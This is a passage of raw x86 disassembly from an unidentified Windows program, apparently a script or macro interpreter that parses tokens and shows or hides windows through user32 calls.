test bl, bl
je 0x54931b
cmp dword [ebp - 0x84], 0
je 0x54932b
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x10]
jae 0x5492ea
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
xor eax, eax
push ebp
push 0x5493c9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xca0]
push eax
lea eax, [ebp - 0xca4]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xca4]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xca0]
call fcn.0040b75c
push edx
push eax
lea edx, [ebp - 0xc9c]
mov eax, 8
call fcn.0040b6b8
mov ecx, dword [ebp - 0xc9c]
lea eax, [ebp - 0x1c]
mov edx, 0x553aa0
call fcn.004052e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x549400
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
lea eax, [ebp - 0xca8]
mov edx, dword [ebp - 0xa4]
call fcn.004051d0
mov eax, dword [ebp - 0xca8]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x549453
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x4405], 0
je 0x549453
mov eax, dword [ebp - 0x18]
lea edi, [eax + 0x9c]
mov esi, 0x553ab4
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x4405], 0
je 0x5523d0
mov eax, dword [ebp - 0x18]
push eax
push fcn.0053347c
mov eax, dword [ebp - 0x18]
call fcn.00425d90
jmp 0x5523d0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xcac]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
mov ecx, dword [ebp - 0xcac]
lea eax, [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
cmp dword [ebp - 8], 0
jle 0x549905
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0x24]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0x24]
call fcn.00405298
test eax, eax
jle 0x5495ca
mov eax, dword [ebp - 0x24]
cmp byte [eax], 0x25
jne 0x5495ca
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x105bc0]
mov edx, dword [ebp - 0x1c]
mov eax, 0x553a68
call fcn.0043cfd0
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x549603
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
mov eax, 0x553a90
call fcn.0043cfd0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jle 0x549603
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
sub ecx, dword [eax + 0x105bc0]
inc ecx
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x105bc0]
mov eax, dword [ebp - 0x1c]
call fcn.004054f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
sub ecx, dword [eax + 0x105bc0]
inc ecx
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x105bc0]
lea eax, [ebp - 0x1c]
call fcn.00405538
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bc0]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0xcb0]
push eax
lea eax, [ebp - 0xcb4]
mov ecx, dword [ebp - 0x24]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xcb4]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xcb0]
lea eax, [ebp - 0x24]
call fcn.00405070
lea edx, [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
call fcn.00405580
jmp 0x549603
lea eax, [ebp - 0xcb8]
push eax
lea eax, [ebp - 0xcbc]
mov ecx, dword [ebp - 0x24]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xcbc]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xcb8]
lea eax, [ebp - 0x24]
call fcn.00405070
lea eax, [ebp - 0xac]
push eax
mov ecx, 2
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xac]
call fcn.00405298
test eax, eax
jle 0x54971d
mov eax, dword [ebp - 0xac]
cmp byte [eax], 0x25
jne 0x54971d
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x105bc0]
mov edx, dword [ebp - 0x1c]
mov eax, 0x553a68
call fcn.0043cfd0
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x54975c
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
mov eax, 0x553a90
call fcn.0043cfd0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jle 0x54975c
lea eax, [ebp - 0xac]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
sub ecx, dword [eax + 0x105bc0]
inc ecx
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x105bc0]
mov eax, dword [ebp - 0x1c]
call fcn.004054f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
sub ecx, dword [eax + 0x105bc0]
inc ecx
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x105bc0]
lea eax, [ebp - 0x1c]
call fcn.00405538
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bc0]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0xcc0]
push eax
lea eax, [ebp - 0xcc4]
mov ecx, dword [ebp - 0xac]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xcc4]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xcc0]
lea eax, [ebp - 0xac]
call fcn.00405070
lea edx, [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xac]
call fcn.00405580
jmp 0x54975c
lea eax, [ebp - 0xcc8]
push eax
lea eax, [ebp - 0xccc]
mov ecx, dword [ebp - 0xac]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xccc]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xcc8]
lea eax, [ebp - 0xac]
call fcn.00405070
lea eax, [ebp - 0xcd0]
push eax
lea eax, [ebp - 0xcd8]
push eax
mov ecx, 0xfffffffd
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov ecx, dword [ebp - 0xcd8]
lea eax, [ebp - 0xcd4]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xcd4]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov edx, dword [ebp - 0xcd0]
lea eax, [ebp - 0x1c]
call fcn.00405070
mov eax, dword [ebp - 0xc0]
sub eax, 0x60
je 0x5497d2
dec eax
je 0x549806
dec eax
je 0x549847
dec eax
je 0x54988f
jmp 0x5498c4
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
call fcn.0040b73c
test al, al
jne 0x5497e8
mov dword [ebp - 0x14], 1
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xac]
mov eax, dword [ebp - 0x24]
call fcn.0043cfd0
lea edx, [ebp - 0x1c]
call fcn.0040b57c
jmp 0x5498c4
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xac]
call fcn.0040b73c
test al, al
jne 0x54981f
mov dword [ebp - 0x28], 1
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
call fcn.0040b73c
test al, al
jne 0x549833
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
call fcn.004054f8
jmp 0x5498c4
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xac]
call fcn.0040b73c
test al, al
jne 0x549860
mov dword [ebp - 0x28], 1
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
call fcn.0040b73c
test al, al
jne 0x549874
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x24]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
call fcn.00405538
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
call fcn.00405070
jmp 0x5498c4
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
call fcn.0040b73c
test al, al
jne 0x5498a5
mov dword [ebp - 0x14], 1
lea edx, [ebp - 0xac]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
call fcn.00405580
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0xac]
call fcn.00405070
cmp byte [ebp - 0x195], 0
je 0x5498e7
push 0x5537e4
push dword [ebp - 0x1c]
push 0x5537e4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104534]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [0x590754]
mov eax, dword [eax]
call fcn.00480b30
lea edx, [ebp - 0x1c]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [0x590754]
mov eax, dword [eax]
call fcn.00480b3c
lea edx, [ebp - 0x1c]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [0x590754]
mov eax, dword [eax]
call fcn.00480b60
lea edx, [ebp - 0x1c]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [0x590754]
mov eax, dword [eax]
call fcn.00480b6c
lea edx, [ebp - 0x1c]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
xor eax, eax
push ebp
push 0x549a59
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x105bc8]
mov eax, dword [0x590754]
mov eax, dword [eax]
call fcn.00480b78
call fcn.00480860
lea edx, [ebp - 0x1c]
call fcn.0040b57c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x549a70
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
xor eax, eax
push ebp
push 0x549ac8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x105bc8]
mov eax, dword [0x590754]
mov eax, dword [eax]
call fcn.00480b78
call fcn.00480894
lea edx, [ebp - 0x1c]
call fcn.0040b57c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x549adf
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bc8]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
cmp dword [ebp - 0x28], 0
jle 0x549d94
mov eax, dword [ebp - 0x144]
call fcn.00405298
test eax, eax
jle 0x549d94
lea eax, [ebp - 0x1c]
call fcn.00404fd8
lea eax, [ebp - 0x154]
call fcn.00404fd8
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053e018
cmp dword [ebp - 0x1c], 0
jne 0x549bc8
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x144]
call fcn.00405070
lea eax, [ebp - 0xcdc]
push eax
lea eax, [ebp - 0xce0]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xce0]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xcdc]
lea eax, [ebp - 0x1c]
call fcn.00405070
mov eax, dword [ebp - 0xc0]
sub eax, 0x6d
je 0x549c1b
dec eax
je 0x549c4b
dec eax
je 0x549cb6
jmp 0x549ce8
mov eax, dword [ebp - 0x1c]
call fcn.0040bc10
test al, al
je 0x549c39
lea eax, [ebp - 0x1c]
mov edx, 0x553a0c
call fcn.00405070
jmp 0x549ce8
lea eax, [ebp - 0x1c]
mov edx, 0x553a00
call fcn.00405070
jmp 0x549ce8
mov eax, dword [ebp - 0x1c]
call fcn.0040bdbc
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x1c]
call fcn.00404fd8
cmp dword [ebp - 0x64], 0
jl 0x549ce8
test byte [ebp - 0x64], 1
je 0x549c7b
lea eax, [ebp - 0x1c]
mov edx, 0x553ad8
call fcn.004052a0
test byte [ebp - 0x64], 0x20
je 0x549c8e
lea eax, [ebp - 0x1c]
mov edx, 0x553ae4
call fcn.004052a0
test byte [ebp - 0x64], 4
je 0x549ca1
lea eax, [ebp - 0x1c]
mov edx, 0x553af0
call fcn.004052a0
test byte [ebp - 0x64], 2
je 0x549ce8
lea eax, [ebp - 0x1c]
mov edx, 0x553afc
call fcn.004052a0
jmp 0x549ce8
mov eax, dword [ebp - 0x1c]
call fcn.0040bba8
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jl 0x549ce0
mov eax, dword [ebp - 0x64]
call fcn.0040c1f4
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040e584
jmp 0x549ce8
lea eax, [ebp - 0x1c]
call fcn.00404fd8
call sub.KERNEL32.DLL_GetLastError
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x104534], eax
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x4405], 0
je 0x549d94
mov eax, dword [0x590504]
mov eax, dword [eax]
mov eax, dword [eax + 0x12b8]
mov edx, dword [eax]
call dword [edx + 0xc8]
test al, al
je 0x549d94
lea ecx, [ebp - 0xce4]
mov eax, dword [0x590710]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc0]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xce4]
mov eax, dword [ebp - 0x18]
add eax, 0x44e4
call fcn.0040502c
lea edx, [ebp - 0xce8]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104534]
call fcn.0040ef34
mov edx, dword [ebp - 0xce8]
mov eax, dword [ebp - 0x18]
add eax, 0x9c
mov ecx, 0xff
call fcn.00405274
mov eax, dword [ebp - 0x18]
push eax
push fcn.0053347c
mov eax, dword [ebp - 0x18]
call fcn.00425d90
mov eax, dword [ebp - 0x18]
add eax, 0x44e4
call fcn.00404fd8
cmp byte [ebp - 0x195], 0
je 0x549db7
push 0x5537e4
push dword [ebp - 0x1c]
push 0x5537e4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0x1c]
call fcn.00404fd8
lea eax, [ebp - 0x154]
call fcn.00404fd8
cmp dword [ebp - 0x28], 0
jle 0x54a19a
mov eax, dword [ebp - 0x144]
call fcn.00405298
test eax, eax
jle 0x54a19a
lea eax, [ebp - 0xcec]
push eax
lea eax, [ebp - 0xcf0]
mov ecx, dword [ebp - 0x144]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xcf0]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov ecx, dword [ebp - 0xcec]
lea eax, [ebp - 0x144]
mov edx, 0x553864
call fcn.004052e4
lea eax, [ebp - 0x1c]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
lea eax, [ebp - 0x154]
push eax
mov ecx, 2
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
lea eax, [ebp - 0xcf8]
push eax
mov ecx, 3
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xcf8]
lea edx, [ebp - 0xcf4]
call fcn.0040af24
mov edx, dword [ebp - 0xcf4]
lea eax, [ebp - 0x144]
call fcn.00405070
xor eax, eax
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x144]
call fcn.00405298
test eax, eax
jle 0x549f25
mov eax, dword [ebp - 0x144]
mov al, byte [eax]
sub al, 0x61
je 0x549f15
sub al, 2
je 0x549f1e
jmp 0x549f25
mov dword [ebp - 0x64], 1
jmp 0x549f25
mov dword [ebp - 0x64], 2
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
call fcn.0040b73c
test al, al
je 0x54a125
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0x154]
call fcn.0040b73c
test al, al
je 0x54a125
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x218], eax
push 0
mov eax, dword [ebp - 0x18]
add eax, 0x4494
mov ecx, 1
mov edx, dword [0x52f3e4]
call fcn.0040659c
add esp, 4
lea eax, [ebp - 0x1c]
call fcn.00404fd8
push dword [ebp - 0x218]
push dword [ebp - 0x21c]
call sub.user32.dll_WindowFromPoint
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x64], 2
jne 0x549fac
xor eax, eax
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
jmp 0x549fda
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
jne 0x549fcd
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x28]
push eax
call sub.user32.dll_GetParent
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x549fac
cmp dword [ebp - 0x14], 0x105b8
jl 0x54a0c9
push 0xc8
lea eax, [ebp - 0x64f]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.user32.dll_GetClassNameA
test eax, eax
jle 0x54a041
lea eax, [ebp - 0xcfc]
lea edx, [ebp - 0x64f]
call fcn.004051d0
mov eax, dword [ebp - 0xcfc]
mov edx, 0x553b08
call fcn.004053e4
je 0x54a0c9
lea eax, [ebp - 0xd00]
lea edx, [ebp - 0x64f]
call fcn.004051d0
mov eax, dword [ebp - 0xd00]
mov edx, 0x553b20
call fcn.004053e4
je 0x54a0c9
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4494]
call fcn.004063e0
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
inc eax
push eax
mov eax, dword [ebp - 0x18]
add eax, 0x4494
mov ecx, 1
mov edx, dword [0x52f3e4]
call fcn.0040659c
add esp, 4
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4494]
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx*4], ecx
cmp dword [ebp - 0x2c], 0
jle 0x54a097
lea eax, [ebp - 0x1c]
mov edx, 0x5539d4
call fcn.004052a0
lea edx, [ebp - 0xd04]
mov eax, dword [ebp - 0x14]
call fcn.0040b57c
mov edx, dword [ebp - 0xd04]
lea eax, [ebp - 0x1c]
call fcn.004052a0
cmp dword [ebp - 0x64], 0
je 0x54a0c9
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.user32.dll_ShowWindow
jmp 0x549f85
cmp dword [ebp - 0x64], 1
jne 0x54a106
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4494]
call fcn.004063e0
dec eax
cmp eax, 0
jl 0x54a106
mov dword [ebp - 0x14], eax
push 5
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4494]
mov edx, dword [ebp - 0x14]
mov eax, dword [eax + edx*4]
push eax
call sub.user32.dll_ShowWindow
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffff
jne 0x54a0e6
push 0
mov eax, dword [ebp - 0x18]
add eax, 0x4494
mov ecx, 1
mov edx, dword [0x52f3e4]
call fcn.0040659c
add esp, 4
jmp 0x54a19a
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x4405], 0
je 0x54a192
lea ecx, [ebp - 0xd08]
mov eax, dword [0x590710]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc0]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd08]
mov eax, dword [ebp - 0x18]
add eax, 0x44e4
call fcn.0040502c
mov eax, dword [ebp - 0x18]
lea edi, [eax + 0x9c]
mov esi, 0x553ab4
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x18]
push eax
push fcn.0053347c
mov eax, dword [ebp - 0x18]
call fcn.00425d90
mov eax, dword [ebp - 0x18]
add eax, 0x44e4
call fcn.00404fd8
lea eax, [ebp - 0x1c]
call fcn.00404fd8
cmp byte [ebp - 0x195], 0
je 0x54a1bd
push 0x5537e4
push dword [ebp - 0x1c]
push 0x5537e4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x54a204
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54a201
mov bl, 1
jmp 0x54a24c
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x54a24c
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x54a1f0
test bl, bl
je 0x54a968
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
call fcn.00405298
test eax, eax
jle 0x54a27d
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
cmp byte [eax], 0x23
jne 0x54a27d
mov byte [ebp - 0x13f], 1
jmp 0x54a284
mov byte [ebp - 0x13f], 0
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x4c]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x148]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x14]
inc ecx
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
call fcn.00405538
lea eax, [ebp - 0xd0c]
push eax
lea eax, [ebp - 0xd10]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xd10]
mov ecx, 0xfffffffe
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xd0c]
lea eax, [ebp - 0x1c]
call fcn.00405070
xor eax, eax
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10e], 0
mov byte [ebp - 0x10d], 1
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
lea edx, [ebp - 0xd14]
mov eax, dword [ebp - 0x144]
call fcn.0040af24
mov eax, dword [ebp - 0xd14]
mov edx, 0x553b30
call fcn.004053e4
jne 0x54a39c
inc dword [ebp - 0x14]
mov byte [ebp - 0x10d], 0
cmp dword [ebp - 0x14], 1
jne 0x54a3b7
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
lea edx, [ebp - 0xd18]
mov eax, dword [ebp - 0x144]
call fcn.0040af24
mov eax, dword [ebp - 0xd18]
mov edx, 0x553b40
call fcn.004053e4
jne 0x54a3e4
inc dword [ebp - 0x14]
mov byte [ebp - 0x10e], 1
mov dword [ebp - 0x28], 4
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x28]
